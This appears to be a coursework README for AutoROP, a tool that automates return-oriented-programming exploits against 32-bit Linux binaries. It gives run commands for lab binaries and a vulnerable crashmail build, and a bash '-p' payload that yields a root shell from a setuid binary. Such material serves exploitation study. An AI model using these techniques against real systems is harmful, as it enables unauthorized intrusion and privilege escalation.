109 lines
5.6 KiB
Markdown
109 lines
5.6 KiB
Markdown
# AutoROP
|
|
|
|
```console
|
|
_ ___ _.--. ___ _____ ______ _____ ______ ______
|
|
\`.|\..----...-'` `-._.-'_.-'` / _ \ / ____| /\ |____ / ____| /\ | ____| ____|
|
|
/ ' ` , __.--' | | | |_ _| | / \ / / | / \ | |__ | |__
|
|
)/' _/ \ `-_, / | | | \ \/ / | / /\ \ / /| | / /\ \ | __| | __|
|
|
`-'" `"\_ ,_.-;_.-\_ ', | |_| |> <| |____ / ____ \ / / | |____ / ____ \| | | |____
|
|
_.-'_./ {_.' ; / \___//_/\_\\_____/_/ \_\/_/ \_____/_/ \_\_| |______|
|
|
{_.-``-' {_/
|
|
|
|
__ __
|
|
| _______ _ _ _______ _____ ______ _____ _____ |
|
|
| |_____| | | | | | |_____/ | | |_____] |
|
|
| | | |_____| | |_____| | \_ |_____| | |
|
|
|__ __|
|
|
```
|
|
|
|
## Set up Vagrant
|
|
The project uses vagrant to ensure consistent results across machines.
|
|
```sh
|
|
vagrant up
|
|
vagrant ssh
|
|
cd cw
|
|
```
|
|
|
|
Our test environment uses:
|
|
|
|
* Vagrant with the [Libvirt](https://github.com/vagrant-libvirt/vagrant-libvirt) provider
|
|
* Ubuntu 18.04, provided by the image `generic/ubuntu1804`
|
|
* Python 3.9.0
|
|
* A modified version of [ROPGadget](https://github.com/JonathanSalwan/ROPgadget)
|
|
|
|
## `autoRop.py`
|
|
|
|
Our ROP exploit is in the Python script `autoRop.py`. The script supports automatic gadget discovery and ROP chain exploitation of 32-bit x86 Linux ELF binaries. Broadly, the script works by:
|
|
|
|
1. Generating a padding discovery ROP payload from the target program which executes `/bin/echo "[ Successful ROP! ]"`.
|
|
1. Modifying the padding length on the discovery payload until the exploit is successful.
|
|
1. Generating the target ROP payload in `exec_args.json` with the discovered padding in step 2.
|
|
1. Running the program with the target payload.
|
|
|
|
## ROP exploit on test binaries
|
|
All binaries are located in the `test-binaries` directory. Each of them uses a different method for supplying the ROP exploit. Below are instructions for each type. You will see for each attack that it is successful when it prints `[ Successful ROP! ]`.
|
|
|
|
### `vuln-32` - Binary using file input
|
|
This is the original vulnerable program from the lab. It takes its payload from a file, the path to which is passed as an argument.
|
|
|
|
```sh
|
|
python autoRop.py --input_method file --run test-binaries/vuln-32
|
|
```
|
|
|
|
### `null-data-addr` - Binary using file input
|
|
This is the original vulnerable program from the lab, compiled with the flag `-Tdata 0x080f0000`. This sets the base `.data` address to `0x080f0000`, resulting in null bytes in the data address. We can confirm the data address has been set accordingly with:
|
|
```sh
|
|
$ readelf --sections test-binaries/null-data-addr 2> /dev/null | grep -e "\.data "
|
|
> [ 2] .data PROGBITS 080f0000 091000 000f20 00 WA 0 0 32
|
|
```
|
|
|
|
AutoROP handles this and places its data at a
|
|
```sh
|
|
python autoRop.py --input_method file --run test-binaries/null-data-addr
|
|
```
|
|
|
|
### `elf-linux-x86`/`elf-linux-x86-NDH-chall` - Binaries using a positional argument
|
|
These binaries are largely similar. They both take the payload as their first argument.
|
|
|
|
```sh
|
|
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86
|
|
|
|
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86-NDH-chall
|
|
```
|
|
|
|
### `crashmail` - Binary using an optional argument
|
|
This was a real world vulnerable version of the program crashmail. When the `SETTINGS` option is used, the next argument has a buffer overflow vulnerability. Thus, we run this binary with the first argument as `SETTINGS` and the next argument as the payload. This can be configured by changing the exec_args file from the default `exec_args.json`
|
|
```json
|
|
[ "$PAYLOAD$" ]
|
|
```
|
|
to `test-binaries/crashmail_exec_args.json`
|
|
```json
|
|
[ "SETTINGS", "$PAYLOAD$" ]
|
|
```
|
|
like so:
|
|
```sh
|
|
python autoRop.py --input_method arg --exec_args test-binaries/crashmail_exec_args.json --run test-binaries/crashmail
|
|
```
|
|
|
|
This may take a little while due to the fairly large required offset.
|
|
|
|
## Changing the `execve` target
|
|
AutoROP allows you to change what you execute with `execve` - enabling the execution of any executable with any arguments. It also allows to automatically run the ROP chain where the ROP payload will generate an interactive program, using the argument `--interactive`. Without `--interactive`, the program simply dumps the output of the ROP to stdout.
|
|
|
|
We demonstrate this by making AutoROP generate an interactive shell payload. To do this, we use the file `rop_exec_bash.json`:
|
|
```json
|
|
["/bin/bash", "-p"]
|
|
```
|
|
This array represents the `execve` arguments - the signature will be `execve("/bin/bash", ["/bin/bash", "-p"])`.
|
|
|
|
The `-p` flag is used to enable privileged mode. In this mode, bash will acknowledge the effective user id, allowing exploitation of the `setuid` bit. This means that if the target binary has the setuid bit sit, we will be able to get a root shell. We demonstrate this by setting the setuid bit on `vuln-32-setuid`. This binary is stored in the home directory due to issues surrounding setting the owner and setuid bit on files in the Vagrant shared directory.
|
|
|
|
Now we run AutoROP on this binary, and get an interactive root shell:
|
|
```sh
|
|
python autoRop.py --input_method file --rop_exec_file rop_exec_bash.json --run --interactive ~/vuln-32-setuid
|
|
```
|
|
We can verify this by typing
|
|
```console
|
|
whoami
|
|
```
|
|
and we get `root`! |